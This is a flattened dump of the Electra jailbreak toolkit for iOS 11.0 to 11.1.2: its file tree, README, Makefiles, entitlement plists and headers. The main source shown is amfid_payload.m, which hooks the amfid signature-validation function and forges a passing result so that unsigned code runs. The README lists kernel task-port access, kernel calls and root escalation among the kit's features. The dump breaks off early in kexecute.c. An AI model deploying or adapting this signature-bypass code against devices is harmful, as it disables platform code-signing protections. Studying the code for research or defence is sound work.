├── .github └── ISSUE_TEMPLATE.md ├── .gitignore ├── LICENSE.md ├── README.md ├── basebinaries ├── .gitignore ├── Makefile ├── amfid_payload │ ├── Makefile │ ├── amfid_payload.m │ ├── cs_blobs.h │ ├── fishhook.c │ └── fishhook.h ├── apple_include │ └── .gitignore ├── fishhook │ ├── fishhook.c │ └── fishhook.h ├── inject_criticald │ ├── Ent.plist │ ├── Makefile │ └── inject_criticald.m ├── jailbreakd │ ├── Ent.plist │ ├── Makefile │ ├── apple_include │ ├── kern_utils.h │ ├── kern_utils.m │ ├── kexecute.c │ ├── kexecute.h │ ├── kmem.c │ ├── kmem.h │ ├── launch.h │ ├── main.m │ ├── offsetof.c │ ├── offsetof.h │ ├── osobject.c │ ├── osobject.h │ ├── patchfinder64.c │ ├── patchfinder64.h │ ├── sandbox.c │ └── sandbox.h ├── jailbreakd_client │ ├── Ent.plist │ ├── Makefile │ ├── apple_include │ ├── jailbreakd_client.m │ ├── libjailbreak_xpc.h │ └── libjailbreak_xpc.m ├── libjailbreak_xpc │ ├── Makefile │ ├── apple_include │ ├── libjailbreak_xpc.h │ └── libjailbreak_xpc.m └── pspawn_payload │ ├── Makefile │ ├── apple_include │ ├── common.c │ ├── common.h │ ├── fishhook.c │ ├── fishhook.h │ ├── libjailbreak_xpc.h │ ├── libjailbreak_xpc.m │ └── pspawn_payload.m ├── docs └── getting-started.md ├── electra.xcodeproj ├── project.pbxproj └── project.xcworkspace │ └── contents.xcworkspacedata ├── electra ├── Assets.xcassets │ ├── Button.imageset │ │ ├── Button.png │ │ ├── Button@2x.png │ │ ├── Button@3x.png │ │ └── Contents.json │ ├── Contents.json │ ├── Header.imageset │ │ ├── Contents.json │ │ ├── Header@1x.png │ │ ├── Header@2x.png │ │ └── Header@3x.png │ └── Separator.imageset │ │ ├── Contents.json │ │ ├── Separator.png │ │ ├── Separator@2x.png │ │ └── Separator@3x.png ├── Info.plist ├── NSData+GZip.h ├── NSData+GZip.m ├── Resources │ ├── AppIcon20x20.png │ ├── AppIcon20x20@2x.png │ ├── AppIcon20x20@3x.png │ ├── AppIcon40x40.png │ ├── AppIcon40x40@2x.png │ ├── AppIcon40x40@3x.png │ ├── AppIcon60x60@2x.png │ ├── AppIcon60x60@3x.png │ ├── AppIcon76x76.png │ ├── AppIcon76x76@2x.png │ └── AppIcon83.5x83.5@2x.png ├── app │ ├── AppDelegate.h │ ├── AppDelegate.m │ ├── Base.lproj │ │ ├── LaunchScreen.storyboard │ │ └── Main.storyboard │ ├── controllers │ │ ├── ViewController.h │ │ └── ViewController.m │ └── view │ │ ├── CSGradientView.h │ │ └── CSGradientView.m ├── bootstrap │ ├── anemoneapp.tar │ ├── binaries │ │ ├── test.m │ │ └── unjailbreak.sh │ ├── dropbear.plist │ ├── gnubinpack.tar │ ├── jailbreakd.plist │ ├── safemode.tar │ ├── tar.gz │ └── tweaksupport.tar ├── ent.plist ├── exploit │ ├── README │ ├── arm64_state.h │ ├── async_wake.c │ ├── async_wake.h │ ├── early_kalloc.c │ ├── early_kalloc.h │ ├── find_port.c │ ├── find_port.h │ ├── kcall.c │ ├── kcall.h │ ├── kdbg.c │ ├── kdbg.h │ ├── kmem.c │ ├── kmem.h │ ├── symbols.c │ └── symbols.h ├── headers │ ├── IOKit.h │ ├── codesign.h │ └── xpc_minimal.h ├── main.m └── the fun part │ ├── fun.c │ ├── fun.h │ ├── fun_objc.h │ ├── fun_objc.m │ ├── patchfinder64.c │ ├── patchfinder64.h │ ├── remap_tfp_set_hsp.c │ ├── remap_tfp_set_hsp.h │ ├── start_jailbreakd.m │ ├── unlocknvram.c │ ├── unlocknvram.h │ └── utilities │ ├── amfi_utils.c │ ├── amfi_utils.h │ ├── file_utils.c │ ├── file_utils.h │ ├── kutils.c │ ├── kutils.h │ ├── offsetof.c │ ├── offsetof.h │ ├── topangadetect.c │ ├── topangadetect.h │ ├── unliberios.c │ ├── unliberios.h │ ├── utils.c │ └── utils.h ├── libsubstrate ├── Makefile ├── control └── libsubstrate.c └── sbinject ├── Makefile ├── SBInject.x └── control /.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | 15 | 16 | * iOS version: 17 | * iDevice model: 18 | * electra version: 19 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | xcuserdata/ 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Electra Jailbreak Tookit 2 | for iOS 11.0-11.1.2. 3 | https://coolstar.org/electra/ 4 | 5 | --- 6 | 7 | This jailbreak is by the community, and was developed open source. 8 | 9 | ## Roadmap 10 | See the [open issues](https://github.com/coolstar/electra/issues) for smaller things to work on. 11 | 12 | ### Currently implemented: 13 | - setuid(0) - no panic 14 | - KCALL - call kernel functions given an address and up to six arguments 15 | - mount / as rw 16 | - amfi bypass? well, run unsigned code (temporary until i figure out a master process which gives everyone everything with the right entitlements etc.) 17 | - amfi**d** fixing up 18 | - jailbreakd that keeps tfp0 task port open and runs a local server listening for commands 19 | - Basic dylib injection into running process 20 | - Working setuid (after calling jailbreakd to fix it up) 21 | 22 | ### Planned: 23 | - Dpkg/APT port (and maybe Cydia?) 24 | - Structure filesystem more like a traditional jailbreak 25 | 26 | ## Contributing 27 | 28 | * Download the repo, and run the code on your device. 29 | * Make your patches 30 | * PR! 31 | * ??? 32 | * Profit :tada: 33 | 34 | ## I found a bug, how do I report it 35 | [Open a new issue](https://github.com/coolstar/electra/issues/new), **after looking for similar issues already created.** 36 | 37 | ## Credits 38 | 39 | This jailbreak was written by open source contributors. See [the contributors list](https://github.com/coolstar/electra/graphs/contributors) to find out who they are! 40 | 41 | * Original patchfinder64 by xerub 42 | * Additions of current gadgets and fix for allproc by ninjaprawn 43 | * jailbreakd by coolstar 44 | * Extensive contributions by stek29 (sandbox patches, lot's of other stuff) 45 | 46 | Please don't rip off any of the code in the jailbreak, but if you do, please credit @theninjaprawn and @coolstarorg. 47 | 48 | ## License 49 | 50 | Note: the async_awake exploit by Ian Beer is not licensed 51 | 52 | However, for the additions by Electra, see LICENSE.md 53 | -------------------------------------------------------------------------------- /basebinaries/.gitignore: -------------------------------------------------------------------------------- 1 | bin/ 2 | 3 | -------------------------------------------------------------------------------- /basebinaries/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = basebinaries.tar 2 | OUTDIR ?= bin 3 | 4 | .PHONY: all clean 5 | 6 | SUBPRJ = amfid_payload inject_criticald jailbreakd jailbreakd_client pspawn_payload libjailbreak_xpc 7 | all: $(OUTDIR)/$(TARGET) 8 | 9 | MFLAGS = OUTDIR=$(abspath $(OUTDIR)) 10 | 11 | DEBUG ?= 0 12 | ifeq ($(DEBUG), 1) 13 | MFLAGS += DEBUG=1 14 | endif 15 | 16 | $(OUTDIR): 17 | mkdir -p $(OUTDIR) 18 | 19 | $(OUTDIR)/$(TARGET): $(addprefix $(OUTDIR)/, $(SUBPRJ)) | $(OUTDIR) 20 | #tar -cvf $@ $^ 21 | rm -f $@ 22 | cd $(OUTDIR); gtar -pcvf $(abspath $@) $(notdir bin/*) 23 | 24 | $(OUTDIR)/%: | $(OUTDIR) 25 | $(MAKE) -C $(notdir $@) $(MFLAGS) 26 | 27 | clean: 28 | rm -rf $(OUTDIR) 29 | -------------------------------------------------------------------------------- /basebinaries/amfid_payload/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = amfid_payload.dylib 2 | OUTDIR ?= bin 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64 5 | # it is injected into trust cache by code 6 | # which only supports sha-256 signatures 7 | LDID = ldid2 8 | CFLAGS = -Wall 9 | 10 | .PHONY: all clean 11 | 12 | all: $(OUTDIR)/$(TARGET) 13 | 14 | DEBUG ?= 0 15 | ifeq ($(DEBUG), 1) 16 | CFLAGS += -DAMFID_PAYLOAD_DEBUG 17 | else 18 | CFLAGS += -O2 19 | endif 20 | 21 | $(OUTDIR): 22 | mkdir -p $(OUTDIR) 23 | 24 | $(OUTDIR)/$(TARGET): *.m *.c | $(OUTDIR) 25 | $(CC) -dynamiclib -o $@ $^ -framework Foundation $(CFLAGS) 26 | $(LDID) -S $@ 27 | 28 | clean: 29 | rm -f $(OUTDIR)/$(TARGET) 30 | -------------------------------------------------------------------------------- /basebinaries/amfid_payload/amfid_payload.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #import 11 | #include 12 | 13 | #include "fishhook.h" 14 | #include "cs_blobs.h" 15 | 16 | static unsigned int 17 | hash_rank(const CodeDirectory *cd) 18 | { 19 | uint32_t type = cd->hashType; 20 | unsigned int n; 21 | 22 | for (n = 0; n < sizeof(hashPriorities) / sizeof(hashPriorities[0]); ++n) 23 | if (hashPriorities[n] == type) 24 | return n + 1; 25 | return 0; /* not supported */ 26 | } 27 | 28 | // 0 on success 29 | int get_hash(const CodeDirectory* directory, uint8_t dst[CS_CDHASH_LEN]) { 30 | uint32_t realsize = ntohl(directory->length); 31 | 32 | if (ntohl(directory->magic) != CSMAGIC_CODEDIRECTORY) { 33 | NSLog(@"[get_hash] wtf, not CSMAGIC_CODEDIRECTORY?!"); 34 | return 1; 35 | } 36 | 37 | uint8_t out[CS_HASH_MAX_SIZE]; 38 | uint8_t hash_type = directory->hashType; 39 | 40 | switch (hash_type) { 41 | case CS_HASHTYPE_SHA1: 42 | CC_SHA1(directory, realsize, out); 43 | break; 44 | 45 | case CS_HASHTYPE_SHA256: 46 | case CS_HASHTYPE_SHA256_TRUNCATED: 47 | CC_SHA256(directory, realsize, out); 48 | break; 49 | 50 | case CS_HASHTYPE_SHA384: 51 | CC_SHA384(directory, realsize, out); 52 | break; 53 | 54 | default: 55 | NSLog(@"[get_hash] Unknown hash type: 0x%x", hash_type); 56 | return 2; 57 | } 58 | 59 | memcpy(dst, out, CS_CDHASH_LEN); 60 | return 0; 61 | } 62 | 63 | // see cs_validate_csblob in xnu bsd/kern/ubc_subr.c 64 | // 0 on success 65 | int parse_superblob(uint8_t *code_dir, uint8_t dst[CS_CDHASH_LEN]) { 66 | int ret = 1; 67 | const CS_SuperBlob *sb = (const CS_SuperBlob *)code_dir; 68 | uint8_t highest_cd_hash_rank = 0; 69 | 70 | for (int n = 0; n < ntohl(sb->count); n++){ 71 | const CS_BlobIndex *blobIndex = &sb->index[n]; 72 | uint32_t type = ntohl(blobIndex->type); 73 | uint32_t offset = ntohl(blobIndex->offset); 74 | if (ntohl(sb->length) < offset) { 75 | NSLog(@"offset of blob #%d overflows superblob length", n); 76 | return 1; 77 | } 78 | 79 | const CodeDirectory *subBlob = (const CodeDirectory *)(code_dir + offset); 80 | // size_t subLength = ntohl(subBlob->length); 81 | 82 | if (type == CSSLOT_CODEDIRECTORY || (type >= CSSLOT_ALTERNATE_CODEDIRECTORIES && type < CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT)) { 83 | uint8_t rank = hash_rank(subBlob); 84 | 85 | if (rank > highest_cd_hash_rank) { 86 | ret = get_hash(subBlob, dst); 87 | highest_cd_hash_rank = rank; 88 | } 89 | } 90 | } 91 | 92 | return ret; 93 | } 94 | 95 | uint8_t *get_code_directory(const char* name, uint64_t file_off) { 96 | FILE* fd = fopen(name, "r"); 97 | 98 | if (fd == NULL) { 99 | NSLog(@"Couldn't open file"); 100 | return NULL; 101 | } 102 | 103 | fseek(fd, 0L, SEEK_END); 104 | uint64_t file_len = ftell(fd); 105 | fseek(fd, 0L, SEEK_SET); 106 | 107 | if (file_off > file_len){ 108 | NSLog(@"Error: File offset greater than length."); 109 | return NULL; 110 | } 111 | 112 | uint64_t off = file_off; 113 | fseek(fd, off, SEEK_SET); 114 | 115 | struct mach_header_64 mh; 116 | fread(&mh, sizeof(struct mach_header_64), 1, fd); 117 | 118 | if (mh.magic != MH_MAGIC_64){ 119 | NSLog(@"Error: Invalid magic"); 120 | return NULL; 121 | } 122 | 123 | off += sizeof(struct mach_header_64); 124 | if (off > file_len){ 125 | NSLog(@"Error: Unexpected end of file"); 126 | return NULL; 127 | } 128 | for (int i = 0; i < mh.ncmds; i++) { 129 | if (off + sizeof(struct load_command) > file_len){ 130 | NSLog(@"Error: Unexpected end of file"); 131 | return NULL; 132 | } 133 | 134 | const struct load_command cmd; 135 | fseek(fd, off, SEEK_SET); 136 | fread((void*)&cmd, sizeof(struct load_command), 1, fd); 137 | if (cmd.cmd == 0x1d) { 138 | uint32_t off_cs; 139 | fread(&off_cs, sizeof(uint32_t), 1, fd); 140 | uint32_t size_cs; 141 | fread(&size_cs, sizeof(uint32_t), 1, fd); 142 | 143 | if (off_cs+file_off+size_cs > file_len){ 144 | NSLog(@"Error: Unexpected end of file"); 145 | return NULL; 146 | } 147 | 148 | uint8_t *cd = malloc(size_cs); 149 | fseek(fd, off_cs+file_off, SEEK_SET); 150 | fread(cd, size_cs, 1, fd); 151 | return cd; 152 | } else { 153 | off += cmd.cmdsize; 154 | if (off > file_len){ 155 | NSLog(@"Error: Unexpected end of file"); 156 | return NULL; 157 | } 158 | } 159 | } 160 | NSLog(@"Didnt find the code signature"); 161 | return NULL; 162 | } 163 | 164 | int (*old_MISValidateSignatureAndCopyInfo)(NSString* file, NSDictionary* options, NSMutableDictionary** info); 165 | int (*old_MISValidateSignatureAndCopyInfo_broken)(NSString* file, NSDictionary* options, NSMutableDictionary** info); 166 | 167 | int fake_MISValidateSignatureAndCopyInfo(NSString* file, NSDictionary* options, NSMutableDictionary** info) { 168 | // NSString *file = (__bridge NSString *)fileStr; 169 | // NSDictionary *options = (__bridge NSDictionary*)opts; 170 | NSLog(@"We got called! %@ with %@ (info: %@)", file, options, *info); 171 | 172 | int origret = old_MISValidateSignatureAndCopyInfo(file, options, info); 173 | NSLog(@"We got called! AFTER ACTUAL %@ with %@ (info: %@)", file, options, *info); 174 | 175 | if (![*info objectForKey:@"CdHash"]) { 176 | NSNumber* file_offset = [options objectForKey:@"UniversalFileOffset"]; 177 | uint64_t file_off = [file_offset unsignedLongLongValue]; 178 | 179 | uint8_t* code_directory = get_code_directory([file UTF8String], file_off); 180 | if (!code_directory) { 181 | NSLog(@"Can't get code_directory"); 182 | return origret; 183 | } 184 | 185 | uint8_t cd_hash[CS_CDHASH_LEN]; 186 | 187 | if (parse_superblob(code_directory, cd_hash)) { 188 | NSLog(@"Ours failed"); 189 | return origret; 190 | } 191 | 192 | *info = [[NSMutableDictionary alloc] init]; 193 | [*info setValue:[[NSData alloc] initWithBytes:cd_hash length:sizeof(cd_hash)] forKey:@"CdHash"]; 194 | NSLog(@"ours: %@", *info); 195 | } 196 | 197 | return 0; 198 | } 199 | 200 | void rebind_mis(void) { 201 | void *libmis = dlopen("/usr/lib/libmis.dylib", RTLD_NOW); //Force binding now 202 | old_MISValidateSignatureAndCopyInfo = dlsym(libmis, "MISValidateSignatureAndCopyInfo"); 203 | struct rebinding rebindings[] = { 204 | {"MISValidateSignatureAndCopyInfo", (void *)fake_MISValidateSignatureAndCopyInfo, (void **)&old_MISValidateSignatureAndCopyInfo_broken}, 205 | }; 206 | 207 | rebind_symbols(rebindings, 1); 208 | } 209 | 210 | __attribute__ ((constructor)) 211 | static void ctor(void) { 212 | rebind_mis(); 213 | } 214 | -------------------------------------------------------------------------------- /basebinaries/amfid_payload/cs_blobs.h: -------------------------------------------------------------------------------- 1 | //from: xnu osfmk/kern/cs_blobs.h 2 | 3 | typedef struct __attribute__((packed)) { 4 | uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ 5 | uint32_t length; /* total length of CodeDirectory blob */ 6 | uint32_t version; /* compatibility version */ 7 | uint32_t flags; /* setup and mode flags */ 8 | uint32_t hashOffset; /* offset of hash slot element at index zero */ 9 | uint32_t identOffset; /* offset of identifier string */ 10 | uint32_t nSpecialSlots; /* number of special hash slots */ 11 | uint32_t nCodeSlots; /* number of ordinary (code) hash slots */ 12 | uint32_t codeLimit; /* limit to main image signature range */ 13 | uint8_t hashSize; /* size of each hash in bytes */ 14 | uint8_t hashType; /* type of hash (cdHashType* constants) */ 15 | uint8_t platform; /* platform identifier; zero if not platform binary */ 16 | uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */ 17 | uint32_t spare2; /* unused (must be zero) */ 18 | 19 | char end_earliest[0]; 20 | 21 | /* Version 0x20100 */ 22 | uint32_t scatterOffset; /* offset of optional scatter vector */ 23 | char end_withScatter[0]; 24 | 25 | /* Version 0x20200 */ 26 | uint32_t teamOffset; /* offset of optional team identifier */ 27 | char end_withTeam[0]; 28 | 29 | /* Version 0x20300 */ 30 | uint32_t spare3; /* unused (must be zero) */ 31 | uint64_t codeLimit64; /* limit to main image signature range, 64 bits */ 32 | char end_withCodeLimit64[0]; 33 | 34 | /* Version 0x20400 */ 35 | uint64_t execSegBase; /* offset of executable segment */ 36 | uint64_t execSegLimit; /* limit of executable segment */ 37 | uint64_t execSegFlags; /* executable segment flags */ 38 | char end_withExecSeg[0]; 39 | } CodeDirectory; 40 | 41 | typedef struct __attribute__((packed)) { 42 | uint32_t type; /* type of entry */ 43 | uint32_t offset; /* offset of entry */ 44 | } CS_BlobIndex; 45 | 46 | typedef struct __attribute__((packed)) { 47 | uint32_t magic; /* magic number */ 48 | uint32_t length; /* total length of SuperBlob */ 49 | uint32_t count; /* number of index entries following */ 50 | CS_BlobIndex index[]; /* (count) entries */ 51 | /* followed by Blobs in no particular order as indicated by offsets in index */ 52 | } CS_SuperBlob; 53 | 54 | /* 55 | * Magic numbers used by Code Signing 56 | */ 57 | enum { 58 | CSMAGIC_REQUIREMENT = 0xfade0c00, /* single Requirement blob */ 59 | CSMAGIC_REQUIREMENTS = 0xfade0c01, /* Requirements vector (internal requirements) */ 60 | CSMAGIC_CODEDIRECTORY = 0xfade0c02, /* CodeDirectory blob */ 61 | CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0, /* embedded form of signature data */ 62 | CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02, /* XXX */ 63 | CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171, /* embedded entitlements */ 64 | CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1, /* multi-arch collection of embedded signatures */ 65 | CSMAGIC_BLOBWRAPPER = 0xfade0b01, /* CMS Signature, among other things */ 66 | 67 | CS_SUPPORTSSCATTER = 0x20100, 68 | CS_SUPPORTSTEAMID = 0x20200, 69 | CS_SUPPORTSCODELIMIT64 = 0x20300, 70 | CS_SUPPORTSEXECSEG = 0x20400, 71 | 72 | CSSLOT_CODEDIRECTORY = 0, /* slot index for CodeDirectory */ 73 | CSSLOT_INFOSLOT = 1, 74 | CSSLOT_REQUIREMENTS = 2, 75 | CSSLOT_RESOURCEDIR = 3, 76 | CSSLOT_APPLICATION = 4, 77 | CSSLOT_ENTITLEMENTS = 5, 78 | 79 | CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000, /* first alternate CodeDirectory, if any */ 80 | CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5, /* max number of alternate CD slots */ 81 | CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX, /* one past the last */ 82 | 83 | CSSLOT_SIGNATURESLOT = 0x10000, /* CMS Signature */ 84 | 85 | CSTYPE_INDEX_REQUIREMENTS = 0x00000002, /* compat with amfi */ 86 | CSTYPE_INDEX_ENTITLEMENTS = 0x00000005, /* compat with amfi */ 87 | 88 | CS_HASHTYPE_SHA1 = 1, 89 | CS_HASHTYPE_SHA256 = 2, 90 | CS_HASHTYPE_SHA256_TRUNCATED = 3, 91 | CS_HASHTYPE_SHA384 = 4, 92 | 93 | CS_SHA1_LEN = 20, 94 | CS_SHA256_LEN = 32, 95 | CS_SHA256_TRUNCATED_LEN = 20, 96 | 97 | CS_CDHASH_LEN = 20, /* always - larger hashes are truncated */ 98 | CS_HASH_MAX_SIZE = 48, /* max size of the hash we'll support */ 99 | 100 | /* 101 | * Currently only to support Legacy VPN plugins, 102 | * but intended to replace all the various platform code, dev code etc. bits. 103 | */ 104 | CS_SIGNER_TYPE_UNKNOWN = 0, 105 | CS_SIGNER_TYPE_LEGACYVPN = 5, 106 | }; 107 | 108 | /* 109 | * Choose among different hash algorithms. 110 | * Higher is better, 0 => don't use at all. 111 | */ 112 | static const uint32_t hashPriorities[] = { 113 | CS_HASHTYPE_SHA1, 114 | CS_HASHTYPE_SHA256_TRUNCATED, 115 | CS_HASHTYPE_SHA256, 116 | CS_HASHTYPE_SHA384, 117 | }; 118 | -------------------------------------------------------------------------------- /basebinaries/amfid_payload/fishhook.c: -------------------------------------------------------------------------------- 1 | ../fishhook/fishhook.c -------------------------------------------------------------------------------- /basebinaries/amfid_payload/fishhook.h: -------------------------------------------------------------------------------- 1 | ../fishhook/fishhook.h -------------------------------------------------------------------------------- /basebinaries/apple_include/.gitignore: -------------------------------------------------------------------------------- 1 | launch.h 2 | xpc 3 | 4 | -------------------------------------------------------------------------------- /basebinaries/fishhook/fishhook.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2013, Facebook, Inc. 2 | // All rights reserved. 3 | // Redistribution and use in source and binary forms, with or without 4 | // modification, are permitted provided that the following conditions are met: 5 | // * Redistributions of source code must retain the above copyright notice, 6 | // this list of conditions and the following disclaimer. 7 | // * Redistributions in binary form must reproduce the above copyright notice, 8 | // this list of conditions and the following disclaimer in the documentation 9 | // and/or other materials provided with the distribution. 10 | // * Neither the name Facebook nor the names of its contributors may be used to 11 | // endorse or promote products derived from this software without specific 12 | // prior written permission. 13 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 14 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 15 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 16 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 17 | // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 18 | // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 19 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 20 | // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 21 | // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 22 | // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 23 | 24 | #ifndef fishhook_h 25 | #define fishhook_h 26 | 27 | #include 28 | #include 29 | 30 | #if !defined(FISHHOOK_EXPORT) 31 | #define FISHHOOK_VISIBILITY __attribute__((visibility("hidden"))) 32 | #else 33 | #define FISHHOOK_VISIBILITY __attribute__((visibility("default"))) 34 | #endif 35 | 36 | #ifdef __cplusplus 37 | extern "C" { 38 | #endif //__cplusplus 39 | 40 | /* 41 | * A structure representing a particular intended rebinding from a symbol 42 | * name to its replacement 43 | */ 44 | struct rebinding { 45 | const char *name; 46 | void *replacement; 47 | void **replaced; 48 | }; 49 | 50 | /* 51 | * For each rebinding in rebindings, rebinds references to external, indirect 52 | * symbols with the specified name to instead point at replacement for each 53 | * image in the calling process as well as for all future images that are loaded 54 | * by the process. If rebind_functions is called more than once, the symbols to 55 | * rebind are added to the existing list of rebindings, and if a given symbol 56 | * is rebound more than once, the later rebinding will take precedence. 57 | */ 58 | FISHHOOK_VISIBILITY 59 | int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel); 60 | 61 | /* 62 | * Rebinds as above, but only in the specified image. The header should point 63 | * to the mach-o header, the slide should be the slide offset. Others as above. 64 | */ 65 | FISHHOOK_VISIBILITY 66 | int rebind_symbols_image(void *header, 67 | intptr_t slide, 68 | struct rebinding rebindings[], 69 | size_t rebindings_nel); 70 | 71 | #ifdef __cplusplus 72 | } 73 | #endif //__cplusplus 74 | 75 | #endif //fishhook_h 76 | 77 | -------------------------------------------------------------------------------- /basebinaries/inject_criticald/Ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | platform-application 6 | 7 | get-task-allow 8 | 9 | com.apple.system-task-ports 10 | 11 | task_for_pid-allow 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /basebinaries/inject_criticald/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = inject_criticald 2 | OUTDIR ?= bin 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64 5 | # it is injected into trust cache by code 6 | # which only supports sha-256 signatures 7 | LDID = ldid2 8 | CFLAGS = -Wall 9 | 10 | .PHONY: all clean 11 | 12 | DEBUG ?= 0 13 | ifeq ($(DEBUG), 1) 14 | CFLAGS += -DINJECT_CRITICALD_DEBUG 15 | else 16 | CFLAGS += -O2 17 | endif 18 | 19 | all: $(OUTDIR)/$(TARGET) 20 | 21 | $(OUTDIR): 22 | mkdir -p $(OUTDIR) 23 | 24 | $(OUTDIR)/$(TARGET): *.m | $(OUTDIR) 25 | $(CC) -o $@ $^ -framework Foundation -framework IOKit $(CFLAGS) 26 | $(LDID) -SEnt.plist $@ 27 | 28 | clean: 29 | rm -f $(OUTDIR)/$(TARGET) 30 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/Ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | platform-application 6 | 7 | get-task-allow 8 | 9 | com.apple.system-task-ports 10 | 11 | task_for_pid-allow 12 | 13 | com.apple.private.memorystatus 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = jailbreakd 2 | OUTDIR ?= bin 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64 5 | LDID = ldid 6 | CFLAGS = -Wall -Wno-unused-variable -Wno-unused-function -I./apple_include 7 | 8 | .PHONY: all clean 9 | 10 | all: $(OUTDIR)/$(TARGET) 11 | 12 | DEBUG ?= 0 13 | ifeq ($(DEBUG), 1) 14 | CFLAGS += -DJAILBREAKDDEBUG 15 | else 16 | CFLAGS += -O2 17 | endif 18 | 19 | $(OUTDIR): 20 | mkdir -p $(OUTDIR) 21 | 22 | $(OUTDIR)/$(TARGET): *.c *.m | $(OUTDIR) 23 | $(CC) -o $@ $^ -framework Foundation -framework IOKit -framework LocalAuthentication $(CFLAGS) 24 | $(LDID) -SEnt.plist $@ 25 | 26 | clean: 27 | rm -f $(OUTDIR)/$(TARGET) 28 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/apple_include: -------------------------------------------------------------------------------- 1 | ../apple_include -------------------------------------------------------------------------------- /basebinaries/jailbreakd/kern_utils.h: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | #import 4 | #import 5 | #import 6 | 7 | kern_return_t mach_vm_read( 8 | vm_map_t target_task, 9 | mach_vm_address_t address, 10 | mach_vm_size_t size, 11 | vm_offset_t *data, 12 | mach_msg_type_number_t *dataCnt); 13 | 14 | /****** IOKit/IOKitLib.h *****/ 15 | typedef mach_port_t io_service_t; 16 | typedef mach_port_t io_connect_t; 17 | 18 | extern const mach_port_t kIOMasterPortDefault; 19 | #define IO_OBJECT_NULL (0) 20 | 21 | kern_return_t 22 | IOConnectCallAsyncMethod( 23 | mach_port_t connection, 24 | uint32_t selector, 25 | mach_port_t wakePort, 26 | uint64_t* reference, 27 | uint32_t referenceCnt, 28 | const uint64_t* input, 29 | uint32_t inputCnt, 30 | const void* inputStruct, 31 | size_t inputStructCnt, 32 | uint64_t* output, 33 | uint32_t* outputCnt, 34 | void* outputStruct, 35 | size_t* outputStructCntP); 36 | 37 | kern_return_t 38 | IOConnectCallMethod( 39 | mach_port_t connection, 40 | uint32_t selector, 41 | const uint64_t* input, 42 | uint32_t inputCnt, 43 | const void* inputStruct, 44 | size_t inputStructCnt, 45 | uint64_t* output, 46 | uint32_t* outputCnt, 47 | void* outputStruct, 48 | size_t* outputStructCntP); 49 | 50 | io_service_t 51 | IOServiceGetMatchingService( 52 | mach_port_t _masterPort, 53 | CFDictionaryRef matching); 54 | 55 | CFMutableDictionaryRef 56 | IOServiceMatching( 57 | const char* name); 58 | 59 | kern_return_t 60 | IOServiceOpen( 61 | io_service_t service, 62 | task_port_t owningTask, 63 | uint32_t type, 64 | io_connect_t* connect ); 65 | 66 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 67 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 68 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 69 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); 70 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); 71 | 72 | uint64_t find_port(mach_port_name_t port); 73 | 74 | void fixupsetuid(int pid); 75 | 76 | int setcsflagsandplatformize(int pd); 77 | 78 | extern mach_port_t tfpzero; 79 | extern uint64_t kernel_base; 80 | extern uint64_t kernel_slide; 81 | 82 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/kexecute.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "kmem.h" 3 | #include 